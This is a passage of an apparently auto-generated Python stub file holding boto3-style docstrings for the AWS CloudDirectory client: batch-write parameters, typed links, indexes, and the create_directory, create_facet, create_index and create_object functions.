(dict) --Creates an index object. See Indexing and search for more information.\n\nOrderedIndexedAttributeList (list) -- [REQUIRED]Specifies the attributes that should be indexed on. Currently only a single attribute is supported.\n\n(dict) --A unique identifier for an attribute.\n\nSchemaArn (string) -- [REQUIRED]The Amazon Resource Name (ARN) of the schema that contains the facet and attribute.\n\nFacetName (string) -- [REQUIRED]The name of the facet that the attribute exists within.\n\nName (string) -- [REQUIRED]The name of the attribute.\n\n\n\n\n\nIsUnique (boolean) -- [REQUIRED]Indicates whether the attribute that is being indexed has unique values or not.\n\nParentReference (dict) --A reference to the parent object that contains the index object.\n\nSelector (string) --A path selector supports easy selection of an object by the parent/child links leading to it from the directory root. Use the link names from each parent/child link to construct the path. Path selectors start with a slash (/) and link names are separated by slashes. For more information about paths, see Access Objects . You can identify an object in one of the following ways:\n\n$ObjectIdentifier - An object identifier is an opaque string provided by Amazon Cloud Directory. When creating objects, the system will provide you with the identifier of the created object. An object\xe2\x80\x99s identifier is immutable and no two objects will ever share the same object identifier\n/some/path - Identifies the object based on path\n#SomeBatchReference - Identifies the object in a batch call\n\n\n\n\nLinkName (string) --The name of the link between the parent object and the index object.\n\nBatchReferenceName (string) --The batch reference name. See Transaction Support for more information.\n\n\n\nAttachToIndex (dict) --Attaches the specified object to the specified index.\n\nIndexReference (dict) -- [REQUIRED]A reference to the index that you are attaching the object to.\n\nSelector (string) --A path selector supports easy selection of an object by the parent/child links leading to it from the directory root. Use the link names from each parent/child link to construct the path. Path selectors start with a slash (/) and link names are separated by slashes. For more information about paths, see Access Objects . You can identify an object in one of the following ways:\n\n$ObjectIdentifier - An object identifier is an opaque string provided by Amazon Cloud Directory. When creating objects, the system will provide you with the identifier of the created object. An object\xe2\x80\x99s identifier is immutable and no two objects will ever share the same object identifier\n/some/path - Identifies the object based on path\n#SomeBatchReference - Identifies the object in a batch call\n\n\n\n\nTargetReference (dict) -- [REQUIRED]A reference to the object that you are attaching to the index.\n\nSelector (string) --A path selector supports easy selection of an object by the parent/child links leading to it from the directory root. Use the link names from each parent/child link to construct the path. Path selectors start with a slash (/) and link names are separated by slashes. For more information about paths, see Access Objects . You can identify an object in one of the following ways:\n\n$ObjectIdentifier - An object identifier is an opaque string provided by Amazon Cloud Directory. When creating objects, the system will provide you with the identifier of the created object. An object\xe2\x80\x99s identifier is immutable and no two objects will ever share the same object identifier\n/some/path - Identifies the object based on path\n#SomeBatchReference - Identifies the object in a batch call\n\n\n\n\n\n\nDetachFromIndex (dict) --Detaches the specified object from the specified index.\n\nIndexReference (dict) -- [REQUIRED]A reference to the index object.\n\nSelector (string) --A path selector supports easy selection of an object by the parent/child links leading to it from the directory root. Use the link names from each parent/child link to construct the path. Path selectors start with a slash (/) and link names are separated by slashes. For more information about paths, see Access Objects . You can identify an object in one of the following ways:\n\n$ObjectIdentifier - An object identifier is an opaque string provided by Amazon Cloud Directory. When creating objects, the system will provide you with the identifier of the created object. An object\xe2\x80\x99s identifier is immutable and no two objects will ever share the same object identifier\n/some/path - Identifies the object based on path\n#SomeBatchReference - Identifies the object in a batch call\n\n\n\n\nTargetReference (dict) -- [REQUIRED]A reference to the object being detached from the index.\n\nSelector (string) --A path selector supports easy selection of an object by the parent/child links leading to it from the directory root. Use the link names from each parent/child link to construct the path. Path selectors start with a slash (/) and link names are separated by slashes. For more information about paths, see Access Objects . You can identify an object in one of the following ways:\n\n$ObjectIdentifier - An object identifier is an opaque string provided by Amazon Cloud Directory. When creating objects, the system will provide you with the identifier of the created object. An object\xe2\x80\x99s identifier is immutable and no two objects will ever share the same object identifier\n/some/path - Identifies the object based on path\n#SomeBatchReference - Identifies the object in a batch call\n\n\n\n\n\n\nAttachTypedLink (dict) --Attaches a typed link to a specified source and target object. For more information, see Typed Links .\n\nSourceObjectReference (dict) -- [REQUIRED]Identifies the source object that the typed link will attach to.\n\nSelector (string) --A path selector supports easy selection of an object by the parent/child links leading to it from the directory root. Use the link names from each parent/child link to construct the path. Path selectors start with a slash (/) and link names are separated by slashes. For more information about paths, see Access Objects . You can identify an object in one of the following ways:\n\n$ObjectIdentifier - An object identifier is an opaque string provided by Amazon Cloud Directory. When creating objects, the system will provide you with the identifier of the created object. An object\xe2\x80\x99s identifier is immutable and no two objects will ever share the same object identifier\n/some/path - Identifies the object based on path\n#SomeBatchReference - Identifies the object in a batch call\n\n\n\n\nTargetObjectReference (dict) -- [REQUIRED]Identifies the target object that the typed link will attach to.\n\nSelector (string) --A path selector supports easy selection of an object by the parent/child links leading to it from the directory root. Use the link names from each parent/child link to construct the path. Path selectors start with a slash (/) and link names are separated by slashes. For more information about paths, see Access Objects . You can identify an object in one of the following ways:\n\n$ObjectIdentifier - An object identifier is an opaque string provided by Amazon Cloud Directory. When creating objects, the system will provide you with the identifier of the created object. An object\xe2\x80\x99s identifier is immutable and no two objects will ever share the same object identifier\n/some/path - Identifies the object based on path\n#SomeBatchReference - Identifies the object in a batch call\n\n\n\n\nTypedLinkFacet (dict) -- [REQUIRED]Identifies the typed link facet that is associated with the typed link.\n\nSchemaArn (string) -- [REQUIRED]The Amazon Resource Name (ARN) that is associated with the schema. For more information, see arns .\n\nTypedLinkName (string) -- [REQUIRED]The unique name of the typed link facet.\n\n\n\nAttributes (list) -- [REQUIRED]A set of attributes that are associated with the typed link.\n\n(dict) --Identifies the attribute name and value for a typed link.\n\nAttributeName (string) -- [REQUIRED]The attribute name of the typed link.\n\nValue (dict) -- [REQUIRED]The value for the typed link.\n\nStringValue (string) --A string data value.\n\nBinaryValue (bytes) --A binary data value.\n\nBooleanValue (boolean) --A Boolean data value.\n\nNumberValue (string) --A number data value.\n\nDatetimeValue (datetime) --A date and time value.\n\n\n\n\n\n\n\n\n\nDetachTypedLink (dict) --Detaches a typed link from a specified source and target object. For more information, see Typed Links .\n\nTypedLinkSpecifier (dict) -- [REQUIRED]Used to accept a typed link specifier as input.\n\nTypedLinkFacet (dict) -- [REQUIRED]Identifies the typed link facet that is associated with the typed link.\n\nSchemaArn (string) -- [REQUIRED]The Amazon Resource Name (ARN) that is associated with the schema. For more information, see arns .\n\nTypedLinkName (string) -- [REQUIRED]The unique name of the typed link facet.\n\n\n\nSourceObjectReference (dict) -- [REQUIRED]Identifies the source object that the typed link will attach to.\n\nSelector (string) --A path selector supports easy selection of an object by the parent/child links leading to it from the directory root. Use the link names from each parent/child link to construct the path. Path selectors start with a slash (/) and link names are separated by slashes. For more information about paths, see Access Objects . You can identify an object in one of the following ways:\n\n$ObjectIdentifier - An object identifier is an opaque string provided by Amazon Cloud Directory. When creating objects, the system will provide you with the identifier of the created object. An object\xe2\x80\x99s identifier is immutable and no two objects will ever share the same object identifier\n/some/path - Identifies the object based on path\n#SomeBatchReference - Identifies the object in a batch call\n\n\n\n\nTargetObjectReference (dict) -- [REQUIRED]Identifies the target object that the typed link will attach to.\n\nSelector (string) --A path selector supports easy selection of an object by the parent/child links leading to it from the directory root. Use the link names from each parent/child link to construct the path. Path selectors start with a slash (/) and link names are separated by slashes. For more information about paths, see Access Objects . You can identify an object in one of the following ways:\n\n$ObjectIdentifier - An object identifier is an opaque string provided by Amazon Cloud Directory. When creating objects, the system will provide you with the identifier of the created object. An object\xe2\x80\x99s identifier is immutable and no two objects will ever share the same object identifier\n/some/path - Identifies the object based on path\n#SomeBatchReference - Identifies the object in a batch call\n\n\n\n\nIdentityAttributeValues (list) -- [REQUIRED]Identifies the attribute value to update.\n\n(dict) --Identifies the attribute name and value for a typed link.\n\nAttributeName (string) -- [REQUIRED]The attribute name of the typed link.\n\nValue (dict) -- [REQUIRED]The value for the typed link.\n\nStringValue (string) --A string data value.\n\nBinaryValue (bytes) --A binary data value.\n\nBooleanValue (boolean) --A Boolean data value.\n\nNumberValue (string) --A number data value.\n\nDatetimeValue (datetime) --A date and time value.\n\n\n\n\n\n\n\n\n\n\n\nUpdateLinkAttributes (dict) --Updates a given object\'s attributes.\n\nTypedLinkSpecifier (dict) -- [REQUIRED]Allows a typed link specifier to be accepted as input.\n\nTypedLinkFacet (dict) -- [REQUIRED]Identifies the typed link facet that is associated with the typed link.\n\nSchemaArn (string) -- [REQUIRED]The Amazon Resource Name (ARN) that is associated with the schema. For more information, see arns .\n\nTypedLinkName (string) -- [REQUIRED]The unique name of the typed link facet.\n\n\n\nSourceObjectReference (dict) -- [REQUIRED]Identifies the source object that the typed link will attach to.\n\nSelector (string) --A path selector supports easy selection of an object by the parent/child links leading to it from the directory root. Use the link names from each parent/child link to construct the path. Path selectors start with a slash (/) and link names are separated by slashes. For more information about paths, see Access Objects . You can identify an object in one of the following ways:\n\n$ObjectIdentifier - An object identifier is an opaque string provided by Amazon Cloud Directory. When creating objects, the system will provide you with the identifier of the created object. An object\xe2\x80\x99s identifier is immutable and no two objects will ever share the same object identifier\n/some/path - Identifies the object based on path\n#SomeBatchReference - Identifies the object in a batch call\n\n\n\n\nTargetObjectReference (dict) -- [REQUIRED]Identifies the target object that the typed link will attach to.\n\nSelector (string) --A path selector supports easy selection of an object by the parent/child links leading to it from the directory root. Use the link names from each parent/child link to construct the path. Path selectors start with a slash (/) and link names are separated by slashes. For more information about paths, see Access Objects . You can identify an object in one of the following ways:\n\n$ObjectIdentifier - An object identifier is an opaque string provided by Amazon Cloud Directory. When creating objects, the system will provide you with the identifier of the created object. An object\xe2\x80\x99s identifier is immutable and no two objects will ever share the same object identifier\n/some/path - Identifies the object based on path\n#SomeBatchReference - Identifies the object in a batch call\n\n\n\n\nIdentityAttributeValues (list) -- [REQUIRED]Identifies the attribute value to update.\n\n(dict) --Identifies the attribute name and value for a typed link.\n\nAttributeName (string) -- [REQUIRED]The attribute name of the typed link.\n\nValue (dict) -- [REQUIRED]The value for the typed link.\n\nStringValue (string) --A string data value.\n\nBinaryValue (bytes) --A binary data value.\n\nBooleanValue (boolean) --A Boolean data value.\n\nNumberValue (string) --A number data value.\n\nDatetimeValue (datetime) --A date and time value.\n\n\n\n\n\n\n\n\n\nAttributeUpdates (list) -- [REQUIRED]The attributes update structure.\n\n(dict) --Structure that contains attribute update information.\n\nAttributeKey (dict) --The key of the attribute being updated.\n\nSchemaArn (string) -- [REQUIRED]The Amazon Resource Name (ARN) of the schema that contains the facet and attribute.\n\nFacetName (string) -- [REQUIRED]The name of the facet that the attribute exists within.\n\nName (string) -- [REQUIRED]The name of the attribute.\n\n\n\nAttributeAction (dict) --The action to perform as part of the attribute update.\n\nAttributeActionType (string) --A type that can be either UPDATE_OR_CREATE or DELETE .\n\nAttributeUpdateValue (dict) --The value that you want to update to.\n\nStringValue (string) --A string data value.\n\nBinaryValue (bytes) --A binary data value.\n\nBooleanValue (boolean) --A Boolean data value.\n\nNumberValue (string) --A number data value.\n\nDatetimeValue (datetime) --A date and time value.\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n :rtype: dict ReturnsResponse Syntax { 'Responses': [ { 'CreateObject': { 'ObjectIdentifier': 'string' }, 'AttachObject': { 'attachedObjectIdentifier': 'string' }, 'DetachObject': { 'detachedObjectIdentifier': 'string' }, 'UpdateObjectAttributes': { 'ObjectIdentifier': 'string' }, 'DeleteObject': {}, 'AddFacetToObject': {}, 'RemoveFacetFromObject': {}, 'AttachPolicy': {}, 'DetachPolicy': {}, 'CreateIndex': { 'ObjectIdentifier': 'string' }, 'AttachToIndex': { 'AttachedObjectIdentifier': 'string' }, 'DetachFromIndex': { 'DetachedObjectIdentifier': 'string' }, 'AttachTypedLink': { 'TypedLinkSpecifier': { 'TypedLinkFacet': { 'SchemaArn': 'string', 'TypedLinkName': 'string' }, 'SourceObjectReference': { 'Selector': 'string' }, 'TargetObjectReference': { 'Selector': 'string' }, 'IdentityAttributeValues': [ { 'AttributeName': 'string', 'Value': { 'StringValue': 'string', 'BinaryValue': b'bytes', 'BooleanValue': True|False, 'NumberValue': 'string', 'DatetimeValue': datetime(2015, 1, 1) } }, ] } }, 'DetachTypedLink': {}, 'UpdateLinkAttributes': {} }, ] } Response Structure (dict) -- Responses (list) -- A list of all the responses for each batch write. (dict) -- Represents the output of a BatchWrite response operation. CreateObject (dict) -- Creates an object in a Directory . ObjectIdentifier (string) -- The ID that is associated with the object. AttachObject (dict) -- Attaches an object to a Directory . attachedObjectIdentifier (string) -- The ObjectIdentifier of the object that has been attached. DetachObject (dict) -- Detaches an object from a Directory . detachedObjectIdentifier (string) -- The ObjectIdentifier of the detached object. UpdateObjectAttributes (dict) -- Updates a given object\xe2\x80\x99s attributes. ObjectIdentifier (string) -- ID that is associated with the object. DeleteObject (dict) -- Deletes an object in a Directory . AddFacetToObject (dict) -- The result of an add facet to object batch operation. RemoveFacetFromObject (dict) -- The result of a batch remove facet from object operation. AttachPolicy (dict) -- Attaches a policy object to a regular object. An object can have a limited number of attached policies. DetachPolicy (dict) -- Detaches a policy from a Directory . CreateIndex (dict) -- Creates an index object. See Indexing and search for more information. ObjectIdentifier (string) -- The ObjectIdentifier of the index created by this operation. AttachToIndex (dict) -- Attaches the specified object to the specified index. AttachedObjectIdentifier (string) -- The ObjectIdentifier of the object that was attached to the index. DetachFromIndex (dict) -- Detaches the specified object from the specified index. DetachedObjectIdentifier (string) -- The ObjectIdentifier of the object that was detached from the index. AttachTypedLink (dict) -- Attaches a typed link to a specified source and target object. For more information, see Typed Links . TypedLinkSpecifier (dict) -- Returns a typed link specifier as output. TypedLinkFacet (dict) -- Identifies the typed link facet that is associated with the typed link. SchemaArn (string) -- The Amazon Resource Name (ARN) that is associated with the schema. For more information, see arns . TypedLinkName (string) -- The unique name of the typed link facet. SourceObjectReference (dict) -- Identifies the source object that the typed link will attach to. Selector (string) -- A path selector supports easy selection of an object by the parent/child links leading to it from the directory root. Use the link names from each parent/child link to construct the path. Path selectors start with a slash (/) and link names are separated by slashes. For more information about paths, see Access Objects . You can identify an object in one of the following ways: $ObjectIdentifier - An object identifier is an opaque string provided by Amazon Cloud Directory. When creating objects, the system will provide you with the identifier of the created object. An object\xe2\x80\x99s identifier is immutable and no two objects will ever share the same object identifier /some/path - Identifies the object based on path #SomeBatchReference - Identifies the object in a batch call TargetObjectReference (dict) -- Identifies the target object that the typed link will attach to. Selector (string) -- A path selector supports easy selection of an object by the parent/child links leading to it from the directory root. Use the link names from each parent/child link to construct the path. Path selectors start with a slash (/) and link names are separated by slashes. For more information about paths, see Access Objects . You can identify an object in one of the following ways: $ObjectIdentifier - An object identifier is an opaque string provided by Amazon Cloud Directory. When creating objects, the system will provide you with the identifier of the created object. An object\xe2\x80\x99s identifier is immutable and no two objects will ever share the same object identifier /some/path - Identifies the object based on path #SomeBatchReference - Identifies the object in a batch call IdentityAttributeValues (list) -- Identifies the attribute value to update. (dict) -- Identifies the attribute name and value for a typed link. AttributeName (string) -- The attribute name of the typed link. Value (dict) -- The value for the typed link. StringValue (string) -- A string data value. BinaryValue (bytes) -- A binary data value. BooleanValue (boolean) -- A Boolean data value. NumberValue (string) -- A number data value. DatetimeValue (datetime) -- A date and time value. DetachTypedLink (dict) -- Detaches a typed link from a specified source and target object. For more information, see Typed Links . UpdateLinkAttributes (dict) -- Represents the output of a BatchWrite response operation. Exceptions CloudDirectory.Client.exceptions.InternalServiceException CloudDirectory.Client.exceptions.InvalidArnException CloudDirectory.Client.exceptions.RetryableConflictException CloudDirectory.Client.exceptions.ValidationException CloudDirectory.Client.exceptions.LimitExceededException CloudDirectory.Client.exceptions.AccessDeniedException CloudDirectory.Client.exceptions.DirectoryNotEnabledException CloudDirectory.Client.exceptions.BatchWriteException :return: { 'Responses': [ { 'CreateObject': { 'ObjectIdentifier': 'string' }, 'AttachObject': { 'attachedObjectIdentifier': 'string' }, 'DetachObject': { 'detachedObjectIdentifier': 'string' }, 'UpdateObjectAttributes': { 'ObjectIdentifier': 'string' }, 'DeleteObject': {}, 'AddFacetToObject': {}, 'RemoveFacetFromObject': {}, 'AttachPolicy': {}, 'DetachPolicy': {}, 'CreateIndex': { 'ObjectIdentifier': 'string' }, 'AttachToIndex': { 'AttachedObjectIdentifier': 'string' }, 'DetachFromIndex': { 'DetachedObjectIdentifier': 'string' }, 'AttachTypedLink': { 'TypedLinkSpecifier': { 'TypedLinkFacet': { 'SchemaArn': 'string', 'TypedLinkName': 'string' }, 'SourceObjectReference': { 'Selector': 'string' }, 'TargetObjectReference': { 'Selector': 'string' }, 'IdentityAttributeValues': [ { 'AttributeName': 'string', 'Value': { 'StringValue': 'string', 'BinaryValue': b'bytes', 'BooleanValue': True|False, 'NumberValue': 'string', 'DatetimeValue': datetime(2015, 1, 1) } }, ] } }, 'DetachTypedLink': {}, 'UpdateLinkAttributes': {} }, ] } :returns: $ObjectIdentifier - An object identifier is an opaque string provided by Amazon Cloud Directory. When creating objects, the system will provide you with the identifier of the created object. An object\xe2\x80\x99s identifier is immutable and no two objects will ever share the same object identifier /some/path - Identifies the object based on path #SomeBatchReference - Identifies the object in a batch call """ pass def can_paginate(operation_name=None): """ Check if an operation can be paginated. :type operation_name: string :param operation_name: The operation name. This is the same name\nas the method name on the client. For example, if the\nmethod name is create_foo, and you\'d normally invoke the\noperation as client.create_foo(**kwargs), if the\ncreate_foo operation can be paginated, you can use the\ncall client.get_paginator('create_foo'). """ pass def create_directory(Name=None, SchemaArn=None): """ Creates a Directory by copying the published schema into the directory. A directory cannot be created without a schema. You can also quickly create a directory using a managed schema, called the QuickStartSchema . For more information, see Managed Schema in the Amazon Cloud Directory Developer Guide . See also: AWS API Documentation Exceptions :example: response = client.create_directory( Name='string', SchemaArn='string' ) :type Name: string :param Name: [REQUIRED]\nThe name of the Directory . Should be unique per account, per region.\n :type SchemaArn: string :param SchemaArn: [REQUIRED]\nThe Amazon Resource Name (ARN) of the published schema that will be copied into the data Directory . For more information, see arns .\n :rtype: dict ReturnsResponse Syntax { 'DirectoryArn': 'string', 'Name': 'string', 'ObjectIdentifier': 'string', 'AppliedSchemaArn': 'string' } Response Structure (dict) -- DirectoryArn (string) -- The ARN that is associated with the Directory . For more information, see arns . Name (string) -- The name of the Directory . ObjectIdentifier (string) -- The root object node of the created directory. AppliedSchemaArn (string) -- The ARN of the published schema in the Directory . Once a published schema is copied into the directory, it has its own ARN, which is referred to applied schema ARN. For more information, see arns . Exceptions CloudDirectory.Client.exceptions.InternalServiceException CloudDirectory.Client.exceptions.InvalidArnException CloudDirectory.Client.exceptions.RetryableConflictException CloudDirectory.Client.exceptions.ValidationException CloudDirectory.Client.exceptions.LimitExceededException CloudDirectory.Client.exceptions.AccessDeniedException CloudDirectory.Client.exceptions.DirectoryAlreadyExistsException CloudDirectory.Client.exceptions.ResourceNotFoundException :return: { 'DirectoryArn': 'string', 'Name': 'string', 'ObjectIdentifier': 'string', 'AppliedSchemaArn': 'string' } :returns: CloudDirectory.Client.exceptions.InternalServiceException CloudDirectory.Client.exceptions.InvalidArnException CloudDirectory.Client.exceptions.RetryableConflictException CloudDirectory.Client.exceptions.ValidationException CloudDirectory.Client.exceptions.LimitExceededException CloudDirectory.Client.exceptions.AccessDeniedException CloudDirectory.Client.exceptions.DirectoryAlreadyExistsException CloudDirectory.Client.exceptions.ResourceNotFoundException """ pass def create_facet(SchemaArn=None, Name=None, Attributes=None, ObjectType=None, FacetStyle=None): """ Creates a new Facet in a schema. Facet creation is allowed only in development or applied schemas. See also: AWS API Documentation Exceptions :example: response = client.create_facet( SchemaArn='string', Name='string', Attributes=[ { 'Name': 'string', 'AttributeDefinition': { 'Type': 'STRING'|'BINARY'|'BOOLEAN'|'NUMBER'|'DATETIME'|'VARIANT', 'DefaultValue': { 'StringValue': 'string', 'BinaryValue': b'bytes', 'BooleanValue': True|False, 'NumberValue': 'string', 'DatetimeValue': datetime(2015, 1, 1) }, 'IsImmutable': True|False, 'Rules': { 'string': { 'Type': 'BINARY_LENGTH'|'NUMBER_COMPARISON'|'STRING_FROM_SET'|'STRING_LENGTH', 'Parameters': { 'string': 'string' } } } }, 'AttributeReference': { 'TargetFacetName': 'string', 'TargetAttributeName': 'string' }, 'RequiredBehavior': 'REQUIRED_ALWAYS'|'NOT_REQUIRED' }, ], ObjectType='NODE'|'LEAF_NODE'|'POLICY'|'INDEX', FacetStyle='STATIC'|'DYNAMIC' ) :type SchemaArn: string :param SchemaArn: [REQUIRED]\nThe schema ARN in which the new Facet will be created. For more information, see arns .\n :type Name: string :param Name: [REQUIRED]\nThe name of the Facet , which is unique for a given schema.\n :type Attributes: list :param Attributes: The attributes that are associated with the Facet .\n\n(dict) --An attribute that is associated with the Facet .\n\nName (string) -- [REQUIRED]The name of the facet attribute.\n\nAttributeDefinition (dict) --A facet attribute consists of either a definition or a reference. This structure contains the attribute definition. See Attribute References for more information.\n\nType (string) -- [REQUIRED]The type of the attribute.\n\nDefaultValue (dict) --The default value of the attribute (if configured).\n\nStringValue (string) --A string data value.\n\nBinaryValue (bytes) --A binary data value.\n\nBooleanValue (boolean) --A Boolean data value.\n\nNumberValue (string) --A number data value.\n\nDatetimeValue (datetime) --A date and time value.\n\n\n\nIsImmutable (boolean) --Whether the attribute is mutable or not.\n\nRules (dict) --Validation rules attached to the attribute definition.\n\n(string) --\n(dict) --Contains an Amazon Resource Name (ARN) and parameters that are associated with the rule.\n\nType (string) --The type of attribute validation rule.\n\nParameters (dict) --The minimum and maximum parameters that are associated with the rule.\n\n(string) --\n(string) --\n\n\n\n\n\n\n\n\n\n\n\n\nAttributeReference (dict) --An attribute reference that is associated with the attribute. See Attribute References for more information.\n\nTargetFacetName (string) -- [REQUIRED]The target facet name that is associated with the facet reference. See Attribute References for more information.\n\nTargetAttributeName (string) -- [REQUIRED]The target attribute name that is associated with the facet reference. See Attribute References for more information.\n\n\n\nRequiredBehavior (string) --The required behavior of the FacetAttribute .\n\n\n\n\n :type ObjectType: string :param ObjectType: Specifies whether a given object created from this facet is of type node, leaf node, policy or index.\n\nNode: Can have multiple children but one parent.\nLeaf node: Cannot have children but can have multiple parents.\nPolicy: Allows you to store a policy document and policy type. For more information, see Policies .\nIndex: Can be created with the Index API.\n\n :type FacetStyle: string :param FacetStyle: There are two different styles that you can define on any given facet, Static and Dynamic . For static facets, all attributes must be defined in the schema. For dynamic facets, attributes can be defined during data plane operations. :rtype: dict ReturnsResponse Syntax {} Response Structure (dict) -- Exceptions CloudDirectory.Client.exceptions.InternalServiceException CloudDirectory.Client.exceptions.InvalidArnException CloudDirectory.Client.exceptions.RetryableConflictException CloudDirectory.Client.exceptions.ValidationException CloudDirectory.Client.exceptions.LimitExceededException CloudDirectory.Client.exceptions.AccessDeniedException CloudDirectory.Client.exceptions.ResourceNotFoundException CloudDirectory.Client.exceptions.FacetAlreadyExistsException CloudDirectory.Client.exceptions.InvalidRuleException CloudDirectory.Client.exceptions.FacetValidationException :return: {} :returns: (dict) -- """ pass def create_index(DirectoryArn=None, OrderedIndexedAttributeList=None, IsUnique=None, ParentReference=None, LinkName=None): """ Creates an index object. See Indexing and search for more information. See also: AWS API Documentation Exceptions :example: response = client.create_index( DirectoryArn='string', OrderedIndexedAttributeList=[ { 'SchemaArn': 'string', 'FacetName': 'string', 'Name': 'string' }, ], IsUnique=True|False, ParentReference={ 'Selector': 'string' }, LinkName='string' ) :type DirectoryArn: string :param DirectoryArn: [REQUIRED]\nThe ARN of the directory where the index should be created.\n :type OrderedIndexedAttributeList: list :param OrderedIndexedAttributeList: [REQUIRED]\nSpecifies the attributes that should be indexed on. Currently only a single attribute is supported.\n\n(dict) --A unique identifier for an attribute.\n\nSchemaArn (string) -- [REQUIRED]The Amazon Resource Name (ARN) of the schema that contains the facet and attribute.\n\nFacetName (string) -- [REQUIRED]The name of the facet that the attribute exists within.\n\nName (string) -- [REQUIRED]The name of the attribute.\n\n\n\n\n :type IsUnique: boolean :param IsUnique: [REQUIRED]\nIndicates whether the attribute that is being indexed has unique values or not.\n :type ParentReference: dict :param ParentReference: A reference to the parent object that contains the index object.\n\nSelector (string) --A path selector supports easy selection of an object by the parent/child links leading to it from the directory root. Use the link names from each parent/child link to construct the path. Path selectors start with a slash (/) and link names are separated by slashes. For more information about paths, see Access Objects . You can identify an object in one of the following ways:\n\n$ObjectIdentifier - An object identifier is an opaque string provided by Amazon Cloud Directory. When creating objects, the system will provide you with the identifier of the created object. An object\xe2\x80\x99s identifier is immutable and no two objects will ever share the same object identifier\n/some/path - Identifies the object based on path\n#SomeBatchReference - Identifies the object in a batch call\n\n\n\n :type LinkName: string :param LinkName: The name of the link between the parent object and the index object. :rtype: dict ReturnsResponse Syntax { 'ObjectIdentifier': 'string' } Response Structure (dict) -- ObjectIdentifier (string) -- The ObjectIdentifier of the index created by this operation. Exceptions CloudDirectory.Client.exceptions.InternalServiceException CloudDirectory.Client.exceptions.InvalidArnException CloudDirectory.Client.exceptions.RetryableConflictException CloudDirectory.Client.exceptions.ValidationException CloudDirectory.Client.exceptions.LimitExceededException CloudDirectory.Client.exceptions.AccessDeniedException CloudDirectory.Client.exceptions.DirectoryNotEnabledException CloudDirectory.Client.exceptions.ResourceNotFoundException CloudDirectory.Client.exceptions.FacetValidationException CloudDirectory.Client.exceptions.LinkNameAlreadyInUseException CloudDirectory.Client.exceptions.UnsupportedIndexTypeException :return: { 'ObjectIdentifier': 'string' } :returns: CloudDirectory.Client.exceptions.InternalServiceException CloudDirectory.Client.exceptions.InvalidArnException CloudDirectory.Client.exceptions.RetryableConflictException CloudDirectory.Client.exceptions.ValidationException CloudDirectory.Client.exceptions.LimitExceededException CloudDirectory.Client.exceptions.AccessDeniedException CloudDirectory.Client.exceptions.DirectoryNotEnabledException CloudDirectory.Client.exceptions.ResourceNotFoundException CloudDirectory.Client.exceptions.FacetValidationException CloudDirectory.Client.exceptions.LinkNameAlreadyInUseException CloudDirectory.Client.exceptions.UnsupportedIndexTypeException """ pass def create_object(DirectoryArn=None, SchemaFacets=None, ObjectAttributeList=None, ParentReference=None, LinkName=None): """ Creates an object in a Directory . Additionally attaches the object to a parent, if a parent reference and LinkName is specified. An object is simply a collection of Facet attributes. You can also use this API call to create a policy object, if the facet from which you create the object is a policy facet. See also: AWS API Documentation Exceptions :example: response = client.create_object( DirectoryArn='string', SchemaFacets=[ { 'SchemaArn': 'string', 'FacetName': 'string' }, ], ObjectAttributeList=[ { 'Key': { 'SchemaArn': 'string', 'FacetName': 'string', 'Name': 'string' }, 'Value': { 'StringValue': 'string', 'BinaryValue': b'bytes', 'BooleanValue': True|False, 'NumberValue': 'string', 'DatetimeValue': datetime(2015, 1, 1) } }, ], ParentReference={ 'Selector': 'string' }, LinkName='string' ) :type DirectoryArn: string :param DirectoryArn: [REQUIRED]\nThe Amazon Resource Name (ARN) that is associated with the Directory in which the object will be created. For more information, see arns .\n :type SchemaFacets: list :param SchemaFacets: [REQUIRED]\nA list of schema facets to be associated with the object. Do not provide minor version components. See SchemaFacet for details.\n\n(dict) --A facet.\n\nSchemaArn (string) --The ARN of the schema that contains the facet with no minor component. See arns and In-Place Schema Upgrade for a description of when to provide minor versions.\n\nFacetName (string) --The name of the facet.\n\n\n\n\n :type ObjectAttributeList: list :param ObjectAttributeList: The attribute map whose attribute ARN contains the key and attribute value as the map value.\n\n(dict) --The combination of an attribute key and an attribute value.\n\nKey (dict) -- [REQUIRED]The key of the attribute.\n\nSchemaArn (string) -- [REQUIRED]The Amazon Resource Name (ARN) of the schema that contains the facet and attribute.\n\nFacetName (string) -- [REQUIRED]The name of the facet that the attribute exists within.\n\nName (string) -- [REQUIRED]The name of the attribute.\n\n\n\nValue (dict) -- [REQUIRED]The value of the attribute.\n\nStringValue (string) --A string data value.\n\nBinaryValue (bytes) --A binary data value.\n\nBooleanValue (boolean) --A Boolean data value.\n\nNumberValue (string) --A number data value.\n\nDatetimeValue (datetime) --A date and time value.\n\n\n\n\n\n\n :type ParentReference: dict :param ParentReference: If specified, the parent reference to which this object will be attached.\n\nSelector (string) --A path selector supports easy selection of an object by the parent/child links leading to it from the directory root. Use the link names from each parent/child link to construct the path. Path selectors start with a slash (/) and link names are separated by slashes. For more information about paths, see Access Objects . You can identify an object in one of the following ways:\n\n$ObjectIdentifier - An object identifier is an opaque string provided by Amazon Cloud Directory. When creating objects, the system will provide you with the identifier of the created object. An object\xe2\x80\x99s identifier is immutable and no two objects will ever share the same object identifier\n/some/path - Identifies the object based on path\n#SomeBatchReference - Identifies the object in a batch call\n\n\n\n :type LinkName: string :param LinkName: The name of link that is used to attach this object to a parent. :rtype: dict ReturnsResponse Syntax { 'ObjectIdentifier': 'string' } Response Structure (dict) -- ObjectIdentifier (string) -- The identifier that is associated with the object. Exceptions CloudDirectory.Client.exceptions.InternalServiceException CloudDirectory.Client.exceptions.InvalidArnException CloudDirectory.Client.exceptions.RetryableConflictException CloudDirectory.Client.exceptions.ValidationException CloudDirectory.Client.exceptions.LimitExceededException CloudDirectory.Client.exceptions.AccessDeniedException CloudDirectory.Client.exceptions.DirectoryNotEnabledException CloudDirectory.Client.exceptions.ResourceNotFoundException CloudDirectory.Client.exceptions.FacetValidationException CloudDirectory.Client.exceptions.LinkNameAlreadyInUseException CloudDirectory.Client.exceptions.UnsupportedIndexTypeException :return: { 'ObjectIdentifier': 'string' } :returns: CloudDirectory.Client.exceptions.InternalServiceException CloudDirectory.Client.exceptions.InvalidArnException CloudDirectory.Client.exceptions.RetryableConflictException CloudDirectory.Client.exceptions.ValidationException CloudDirectory.Client.exceptions.LimitExceededException CloudDirectory.Client.exceptions.AccessDeniedException CloudDirectory.Client.exceptions.DirectoryNotEnabledException CloudDirectory.Client.exceptions.ResourceNotFoundException CloudDirectory.Client.exceptions.FacetValidationException CloudDirectory.Client.exceptions.LinkNameAlreadyInUseException CloudDirectory.Client.exceptions.UnsupportedIndexTypeException """ pass def create_schema(Name=None): """ Creates a new schema in a development state. A schema can exist in three phases: See also: AWS API Documentation Exceptions :example: response = client.create_schema( 